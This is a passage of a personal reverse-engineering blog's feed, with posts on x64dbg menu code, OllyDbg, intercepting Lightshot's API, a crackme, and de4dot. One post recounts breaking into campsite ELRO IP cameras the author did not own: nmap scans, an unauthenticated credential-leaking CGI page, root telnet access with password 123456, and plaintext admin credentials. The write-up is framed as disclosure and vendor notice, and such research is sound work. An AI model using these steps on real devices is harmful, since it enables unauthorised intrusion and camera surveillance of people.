&lt;p&gt;Now to create an action you’d write:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;makeAction(&quot;Selection (&amp;amp;No Bytes)&quot;, SLOT(copySelectionNoBytesSlot()))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And similarly an action with shortcut and icon:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;makeShortcutAction(QIcon(&quot;:/icons/images/highlight.png&quot;), &quot;&amp;amp;Highlighting mode&quot;, SLOT(enableHighlightingModeSlot()), &quot;ActionHighlightingMode&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;final-words&quot;&gt;Final words&lt;/h2&gt;

&lt;p&gt;I guess that’s about it for this blog post. If you want to see what the final menu creation code looks like, check out the code &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/bc9c05537fa7d64ed440a40099beb2a2c2e407a0/src/gui/Src/Gui/CPUDisassembly.cpp#L187&quot;&gt;here&lt;/a&gt;. For reference, the old code is available &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/63ed769b6768323aebbc3042307213721abb24a8/src/gui/Src/Gui/CPUDisassembly.cpp#L170&quot;&gt;here&lt;/a&gt;, as you can tell it is a great improvement.&lt;/p&gt;

&lt;p&gt;Finally, I know reader interaction has been practically non-existent on this blog so far, however it would be nice if you could send me parts of x64dbg you’d like to get insight in development-wise. Any other topics (reversing/programming) related are also welcome!&lt;/p&gt;

&lt;p&gt;Greetings,&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/x64dbg/2016/02/03/Dynamic-menu-builder</link>
                <guid>https://mrexodia.github.io/x64dbg/2016/02/03/Dynamic-menu-builder</guid>
                <pubDate>2016-02-03T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Ollydbg</title>
                <description>
&lt;p&gt;Today I wrote &lt;a href=&quot;http://qr.ae/ROCuN0&quot;&gt;an answer on Quora&lt;/a&gt; about how &lt;a href=&quot;http://ollydbg&quot;&gt;OllyDbg&lt;/a&gt; was written. I thought it was interesting so I decided to cross-post it here as a blog entry:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Writing a tool like &lt;a href=&quot;http://ollydbg.de&quot;&gt;OllyDbg&lt;/a&gt; is not a trivial task. OllyDbg is in essence a debugger with code analysis features, however it has a big range of relatively small extra features that make it a nice thing to use. As of my qualifications, I’m the main developer of &lt;a href=&quot;http://x64dbg.com&quot;&gt;x64dbg&lt;/a&gt;, which is heavily influenced by OllyDbg and offers similar features but on the 64-bit platform.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;The &lt;strong&gt;debugger&lt;/strong&gt; part starts out quite simply. Check out &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679288(v=vs.85).aspx&quot;&gt;Creating a Basic Debugger&lt;/a&gt; for a simple example of what a debugger looks like. In essence you start a process (debuggee) with a special flag so it sends information (debug events) to the debugger. The debugger then processes these events and shows information about the process to the user. Certain events (mainly single-step and breakpoint exceptions) are used to control the execution of the debuggee. If you are interested in a little more detail, check out &lt;a href=&quot;https://github.com/x64dbg/GleeBug&quot;&gt;GleeBug&lt;/a&gt;. It is a debug library that will be used in x64dbg soon.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;The &lt;strong&gt;code analysis&lt;/strong&gt; is a far more difficult problem to solve. The ‘easy’ part involves giving information about instructions pointing to memory/exported symbols and providing nice syntax highlighting. An all-white deadlisting of instructions is not very friendly to read and OllyDbg does various things to ease the experience. The hard part is actually doing control flow analysis (detecting functions and loops for instance). If you’re interested I wrote up the details of a very naive algorithm &lt;a href=&quot;http://mrexodia.github.io/coding/2015/05/11/Function-Analysis/&quot;&gt;here&lt;/a&gt;. Some more involved algorithms are available &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/development/src/dbg/controlflowanalysis.cpp&quot;&gt;here&lt;/a&gt; (by me) and &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/development/src/dbg/LinearPass.cpp&quot;&gt;here&lt;/a&gt; (by Nukem). Analysis is &lt;strong&gt;really, really&lt;/strong&gt; hard to get working right. There are lots of corner cases and obfuscated binaries that ‘fool’ your analysis and things get especially fuzzy when control flow branches &lt;em&gt;inside&lt;/em&gt; of other instructions or otherwise breaks the linear disassembly.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Even if you have a really good debugger and code analyser, you are still far from done. Once people start using your software, bug reports and feature request will come raining in and it can sometimes be soul-destroying to work on a project like this (especially with just intellectual motivation).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Everything needs to be very generic and getting things stable becomes a &lt;strong&gt;very complex problem very quickly&lt;/strong&gt;. See the &lt;a href=&quot;http://issues.x64dbg.com&quot;&gt;x64dbg bug tracker&lt;/a&gt; if you are interested in what kind of issues people have and report.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Another thing that makes OllyDbg great is that it’s so user-friendly. There are no complex commands involved and everything can be done from the graphical user interface. &lt;strong&gt;This is what I believe makes OllyDbg strong&lt;/strong&gt;. Creating a GUI similar to the one of OllyDbg is rather complex (and boring). It involves custom painted components and &lt;strong&gt;a lot&lt;/strong&gt; of menus.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Finally, OllyDbg offers a great plugin ecosystem, allowing people to extend/modify OllyDbg in lots of ways. People created hundreds of plugins, ranging from simple breakpoint managers to a total overhaul of the program. Creating a system like this is very challenging and pleasing everyone is really hard. It involves writing wrappers around internal functionality and make those available to the plugin writer. You also need to provide the plugins with an interface to hook in the debug loop and intercept debug events.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;I hope this answers your question. Feel free to ask me if you need more information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;More content is coming soon to this blog, stay tuned!&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/x64dbg/2016/01/31/OllyDbg</link>
                <guid>https://mrexodia.github.io/x64dbg/2016/01/31/OllyDbg</guid>
                <pubDate>2016-01-31T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Lightshot Reversing</title>
                <description>
&lt;p&gt;Hello everyone,&lt;/p&gt;

&lt;p&gt;No surprise it has been a &lt;strong&gt;very long&lt;/strong&gt; time since I last wrote something here, I guess I don’t have enough time or will to keep up with this blog. However, today I did something simple that I would like to share with you guys.&lt;/p&gt;

&lt;p&gt;We all know screenshot tools like &lt;a href=&quot;https://app.prntscr.com&quot;&gt;Lightshot&lt;/a&gt;, &lt;a href=&quot;http://pokit.org&quot;&gt;PokIt&lt;/a&gt; or &lt;a href=&quot;https://getsharex.com&quot;&gt;ShareX&lt;/a&gt;. This blogpost will be about Lightshot in particular but these are just some alternatives to use.&lt;/p&gt;

&lt;p&gt;I like Lightshot very much, it has a very simple interface with a text editor, some arrows and boxes and it is great for quick screencapping. However it has one downside: the uploader. The uploader uploads your image and then returns an URL in the &lt;a href=&quot;http://prntscr.com/9gazao&quot;&gt;prntscr.com subdomain&lt;/a&gt;. This wouldn’t be much of a problem, if the page wasn’t ad infested and it is also difficult to get the direct link to the image (for example to link to in your blog).&lt;/p&gt;

&lt;p&gt;Today I was bored so I decided to take a look at how their API works so we can change this behavior to show a direct link.&lt;/p&gt;

&lt;p&gt;For tools I’ll be using &lt;a href=&quot;http://www.telerik.com/download/fiddler&quot;&gt;Fiddler4&lt;/a&gt; and &lt;a href=&quot;https://www.apachefriends.org/index.html&quot;&gt;XAMPP&lt;/a&gt; (basically Apache, but XAMPP is just a nice wrapper around it for simplicity).&lt;/p&gt;

&lt;p&gt;After you started Fiddler4, go in options and enable decryption of HTTPS traffic for non-browsers. This will notify you to install a new certificate in the root. This certificate is used for the man in the middle proxy so HTTPS traffic can be decrypted.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/lightshot1.png&quot; alt=&quot;fiddler options&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now simply capture something on your screen and hit the upload button in Lightshot. Fiddler should capture the traffic and you can stop the capture (F12).&lt;/p&gt;

&lt;p&gt;The result looked something like this for me:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/lightshot2.png&quot; alt=&quot;fiddler capture&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can check out all the details of the traffic in the various tabs, but to summarize:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Lightshot uploads the image to &lt;a href=&quot;http://imgur.com&quot;&gt;imgur&lt;/a&gt; using the imgur API &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imgur-apiv3.p.mashape.com&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;It sends some data to Google Analytics (not very interesting for us);&lt;/li&gt;
  &lt;li&gt;It sends a request to their own API &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api.prntscr.com&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Checking the request headers to their own API they look something like this (if you’re logged in it will also contain a token for authorization, which I ommited for obvious reasons):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST https://api.prntscr.com/v1/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: api.prntscr.com
Content-Length: 261
Cache-Control: no-cache

{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;save&quot;,&quot;id&quot;:1,&quot;params&quot;:{&quot;img_url&quot;:&quot;http:\/\/i.imgur.com\/q2clfFY.png&quot;,&quot;thumb_url&quot;:&quot;http:\/\/i.imgur.com\/q2clfFYs.png&quot;,&quot;delete_hash&quot;:&quot;3VYbjevxfJ0qIJw&quot;,&quot;app_id&quot;:&quot;{F1F88C8C-9A9B-45E2-913F-489DF108D86F}&quot;,&quot;width&quot;:450,&quot;height&quot;:354,&quot;dpr&quot;:1}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The response is something like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 21 Dec 2015 17:51:55 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d1a123603fd50b8f9fb5992716bd5cb0f1450720314; expires=Tue, 20-Dec-16 17:51:54 GMT; path=/; domain=.prntscr.com; HttpOnly
X-Powered-By: PHP/5.5.9-1ubuntu4.14
CF-RAY: 2585700ef8880767-AMS

7b
{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;result&quot;:{&quot;url&quot;:&quot;http:\/\/prntscr.com\/9gvphh&quot;,&quot;info&quot;:&quot;Anonymously uploaded image&quot;,&quot;success&quot;:true}}
0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, they send the imgur URL to the API and the API will add the image to the database and return their own custom URL. We just want the direct link to the image, so we are going to write a very simple emulator for this API that just returns the URL it was given.&lt;/p&gt;

&lt;p&gt;The code is very simple, you can get it from &lt;a href=&quot;https://gist.github.com/mrexodia/c285581c2976480680ee&quot;&gt;here&lt;/a&gt; it should be really straightforward to understand, especially with the comments. Basically it does this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Get the raw POST data (JSON encoded);&lt;/li&gt;
  &lt;li&gt;Decode the JSON to an associative array;&lt;/li&gt;
  &lt;li&gt;Construct a response associative array;&lt;/li&gt;
  &lt;li&gt;Encode the response in JSON;&lt;/li&gt;
  &lt;li&gt;Set the right header and echo the response text.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Their API uses chunked transfer encoding, but CURL eats a raw response just as well.&lt;/p&gt;

&lt;p&gt;Put this line in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\system32\drivers\etc\hosts&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;127.0.0.1 api.prntscr.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then put &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.php&lt;/code&gt; in a directory called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v1&lt;/code&gt; and start your Apache server. If everything went okay, the upload window should look like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/lightshot3.png&quot; alt=&quot;final result&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s all for now, I hope you enjoyed this post!&lt;/p&gt;

&lt;p&gt;Oh, quick update. This also works on the OS X version of Lightshot, however there you need to reboot in order to make the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/private/etc/hosts&lt;/code&gt; file change work.&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2015/12/21/Lightshot-Reversing</link>
                <guid>https://mrexodia.github.io/reversing/2015/12/21/Lightshot-Reversing</guid>
                <pubDate>2015-12-21T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Crackme</title>
                <description>
&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;Even though there has been almost no activity on this blog for a few months I have been very busy.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!j4oGSAiD!L8i_hQ0ENfhUhCpqTB4MbZqtDNYZuF39ng11fzWJEN8&quot;&gt;Here&lt;/a&gt; is a simple crackme for you guys, contact me with a keygen (and preferably a small tutorial) to get listed (with a website of choice) in this list:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;http://lifeinhex.com&quot;&gt;kao&lt;/a&gt; &lt;a href=&quot;/files/mrexodia_kg.zip&quot;&gt;files&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/files/KeyGenDave.zip&quot;&gt;Dave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Nobody&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Have fun!&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2015/10/24/Crackme</link>
                <guid>https://mrexodia.github.io/reversing/2015/10/24/Crackme</guid>
                <pubDate>2015-10-24T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>123456</title>
                <description>
&lt;p&gt;Sitting at a camping with a broken toe makes you bored, very bored in fact. So bored I started to look at the camping network structure.&lt;/p&gt;

&lt;h2 id=&quot;scanning-the-environment&quot;&gt;Scanning the environment&lt;/h2&gt;

&lt;p&gt;The first thing I noticed was the cameras with a nice little antenna hanging all over the place. In an &lt;a href=&quot;https://www.youtube.com/watch?v=B8DjTcANBx0&quot;&gt;old DefCon talk&lt;/a&gt; I saw the security of most IP cameras was shit, so I decided to give it a shot myself.&lt;/p&gt;

&lt;p&gt;The camera model I am currently talking about is the &lt;a href=&quot;http://www.elro.eu/en/products/cat/security/network-camera/fixed-camera/plug-play-network-camera3&quot;&gt;ELRO C903IP.2&lt;/a&gt;. I reversed the firmware of another ELRO camera and it had very similar directory structures and web commands, so I believe it is safe to assume all ELRO cameras are affected.&lt;/p&gt;

&lt;p&gt;Because I had no idea of the network layout beforehand I ran a little nmap scan to get the list of online IP addresses in the local subnet:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MacBook-Air:~# nmap -sP 192.168.1.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-10 00:28 CEST
Nmap scan report for 192.168.1.1
Host is up (0.0055s latency).
Nmap scan report for 192.168.1.4
Host is up (0.00048s latency).
Nmap scan report for 192.168.1.6
Host is up (0.057s latency).
Nmap scan report for 192.168.1.7
Host is up (0.054s latency).
Nmap scan report for 192.168.1.8
Host is up (0.047s latency).
Nmap scan report for 192.168.1.11
Host is up (0.052s latency).
Nmap scan report for 192.168.1.17
Host is up (0.044s latency).
Nmap scan report for 192.168.1.24
Host is up (0.11s latency).
Nmap scan report for 192.168.1.26
Host is up (0.0028s latency).
Nmap scan report for 192.168.1.101
Host is up (0.0085s latency).
Nmap scan report for 192.168.1.102
Host is up (0.0084s latency).
Nmap scan report for 192.168.1.105
Host is up (0.021s latency).
Nmap done: 256 IP addresses (12 hosts up) scanned in 9.12 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The thing that struck me was the low addresses after the gateway &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.1.1&lt;/code&gt; so I first checked those out. Turned out the lower addresses were DHCP (my MacBook was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.1.4&lt;/code&gt;). I did find a nice open printer though:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro1.png&quot; alt=&quot;screenshot of printer&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;web-authentication-gone-wrong&quot;&gt;Web authentication gone wrong&lt;/h2&gt;

&lt;p&gt;After some more checking I found a login screen at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.1.101&lt;/code&gt;. This could be a camera!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro2.png&quot; alt=&quot;screenshot of IP camera authentication screen&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Trying some default stuff (admin:admin, admin:1234) etc. didn’t appear to work, so I just pressed the Cancel button:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro3.png&quot; alt=&quot;screenshot of IP camera after cancel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Besides the lack of even a self-signed HTTPS certificate it was obvious that even the login screen had serious security issues. After the initial state of shock I decided to check out the page source code:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro4.png&quot; alt=&quot;screenshot of IP camera login source code&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;check_user.cgi&lt;/code&gt; appears to be the page generating the HTTP authentication (which is plain text by the way). The page only shows us &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;401 Unauthorized&lt;/code&gt; and the name and version of the web server &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mini_httpd/1.19 19dec2003&lt;/code&gt;. There are some known vulnerabilities for that version, but they had no POC code for reading files so I put that on halt for the time being.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro5.png&quot; alt=&quot;screenshot of the IP camera 401&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_status.cgi&lt;/code&gt; requires no authentication (wtf) and it shows some identifying information like the system version and some other status information&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro6.png&quot; alt=&quot;screenshot of the IP camera status&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since there were some links on the login page I decided to try and sign in to the camera web interface. Clicking the link and pressing cancel a few times showed the full web interface, but unfortunately the feed was black.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro7.png&quot; alt=&quot;screenshot of the IP camera web interface&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;an-unexpected-surpise&quot;&gt;An unexpected surpise&lt;/h2&gt;

&lt;p&gt;Trying to click some of the &lt;strong&gt;terrible&lt;/strong&gt; popup menus on the left (I had been a few hours on the web interface at this point) gave some more device information (obtained from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_status.cgi&lt;/code&gt;), but the P2P menu showed some actually interesting stuff!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro8.png&quot; alt=&quot;screenshot of the P2P interface in the web interface&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The iframe led me to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p2p.htm&lt;/code&gt;, which contained some GUID, a username and a &lt;strong&gt;password&lt;/strong&gt; (you are kidding me right?) Just setting the input type to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;text&lt;/code&gt; with the inspector revealed the details in full glory:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro9.png&quot; alt=&quot;screenshot of the p2p.htm page with password shown&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Checking the source it turns out that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_tutk_account.cgi&lt;/code&gt; has &lt;strong&gt;no&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htpasswd&lt;/code&gt; protection which is why it shows the password in the web interface.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro10.png&quot; alt=&quot;screenshot of get_tutk_account.cgi&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;theory-in-practice&quot;&gt;Theory in practice&lt;/h2&gt;

&lt;p&gt;Googling for a P2P IP Camera app gives &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.apexis.P2PCAMLIVE&quot;&gt;this nice app&lt;/a&gt; that automatically gets the running cameras:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro11.png&quot; alt=&quot;screenshot of camera list&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Selecting the right camera and entering the password given by the web interface shows this nice feed by the campfire (notice me walking around with crutches):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro12.png&quot; alt=&quot;screenshot of camera feed&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The other cameras have the same vulnerability (probably the same model):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro13.png&quot; alt=&quot;screenshot of all cameras&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;going-for-gold&quot;&gt;Going for gold&lt;/h2&gt;

&lt;p&gt;After this serious issue I couldn’t get much further with the web interface (just some directory listings, but no directory traversal or anything). I did try to access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htpasswd&lt;/code&gt; (read something about that for old versions of mini_httpd), but it gave a graceful 403.&lt;/p&gt;

&lt;p&gt;Let’s try another nmap scan to see what services are running on the device:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MacBook-Air:~# nmap -sV -vv 192.168.1.101

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-10 00:52 CEST
NSE: Loaded 29 scripts for scanning.
Initiating Ping Scan at 00:52
Scanning 192.168.1.101 [2 ports]
Completed Ping Scan at 00:52, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:52
Completed Parallel DNS resolution of 1 host. at 00:52, 0.02s elapsed
Initiating Connect Scan at 00:52
Scanning 192.168.1.101 [1000 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 23/tcp on 192.168.1.101
Increasing send delay for 192.168.1.101 from 0 to 5 due to max_successful_tryno increase to 4
Completed Connect Scan at 00:52, 6.99s elapsed (1000 total ports)
Initiating Service scan at 00:52
Scanning 2 services on 192.168.1.101
Completed Service scan at 00:52, 7.00s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.101.
NSE: Starting runlevel 1 (of 1) scan.
Nmap scan report for 192.168.1.101
Host is up (0.0026s latency).
Scanned at 2015-08-10 00:52:16 CEST for 14s
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
23/tcp open  telnet  BusyBox telnetd
80/tcp open  http    mini_httpd 1.19 19dec2003

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.24 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is telnet! Trying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telnet 192.168.1.101&lt;/code&gt; asks for a login and password, but at least it is not blocking connections! Not sure how that would work out remotely, but I suspect it would connect just fine.&lt;/p&gt;

&lt;p&gt;Trying some of the &lt;a href=&quot;http://splashdata.com/press/worst-passwords-of-2014.htm&quot;&gt;worst passwords of 2014&lt;/a&gt; it appears to actually be using &lt;strong&gt;the worst password in the world&lt;/strong&gt; for root access: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;123456&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MacBook-Air:~# telnet 192.168.1.101
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.

(none) login: root
Password: 

BusyBox v1.12.1 (2012-11-19 22:34:42 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Some firmware reversing adventures led me to check in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/5350&lt;/code&gt; directory (I might write something about that another time):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ls
var     tmp     sbin    mnt     lib     home    etc     bin
usr     sys     proc    media   init    etc_ro  dev
# cd mnt
# ls
pdbmountfs  5350        mtd         bin
test.sh     tmp         nfs
# cd 5350
# ls
mini_httpd.conf    modules            web                etc
user_info          usb_reset_logfile  lib
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_info&lt;/code&gt; file looks interesting:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# cat user_info
admin:1357# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well, looks like plaintext credentials for the web interface to me. Trying it and it works perfectly fine:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/elro14.png&quot; alt=&quot;screenshot of logged in web interface&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;final-words&quot;&gt;Final words&lt;/h2&gt;

&lt;p&gt;So that would be about it for this blogpost. Before I finish I do want to say that this research was done just for fun and no cameras were harmed in the process. Another thing is that &lt;strong&gt;I had access to the local network&lt;/strong&gt;. I think that if you isolate these camera’s on a separate subnet and make sure they are not accessible from the outside (or only accessible from a fixed IP address with firewall rules in the router) you will be fine.&lt;/p&gt;

&lt;p&gt;After this post is published I will send a link to ELRO to inform them about the security issues discussed here. If they release a firmware update to fix these issues I will update this post.&lt;/p&gt;

&lt;p&gt;Till next time,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;

</description>
                <link>https://mrexodia.github.io/hacking/2015/08/10/123456</link>
                <guid>https://mrexodia.github.io/hacking/2015/08/10/123456</guid>
                <pubDate>2015-08-10T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Extending De4dot</title>
                <description>
&lt;p&gt;Hey, what’s up everybody?&lt;/p&gt;

&lt;p&gt;About two months ago I came across a modified version of &lt;a href=&quot;http://de4dot.com&quot;&gt;de4dot&lt;/a&gt; someone made, which required me to replace my current de4dot version in it’s entirety. I did not like this and therefore I decided to work on extension support for de4dot. Basically it allows you to add new deobfuscator modules or &lt;strong&gt;replace&lt;/strong&gt; the existing (sometimes outdated) ones, in a dynamic way.&lt;/p&gt;

&lt;p&gt;In this blogpost I will explain to you how to add a simple deobfuscator for &lt;a href=&quot;http://orangeheap.blogspot.com&quot;&gt;OrangeHeap&lt;/a&gt;. The actual deobfuscator code is not written by me, but by &lt;a href=&quot;https://theproxyre.wordpress.com&quot;&gt;TheProxy&lt;/a&gt;. It only serves as an example of how de4dot can be extended :)&lt;/p&gt;

&lt;h2 id=&quot;getting-started&quot;&gt;Getting started&lt;/h2&gt;

&lt;p&gt;To get started, we need to set up our development environment. For this you need &lt;a href=&quot;https://git-scm.com&quot;&gt;Git&lt;/a&gt; and &lt;a href=&quot;https://www.visualstudio.com&quot;&gt;Visual Studio&lt;/a&gt;. Follow these steps to get a development environment running:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Clone the repository with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone --recursive https://github.com/0xd4d/de4dot.git&lt;/code&gt;;&lt;/li&gt;
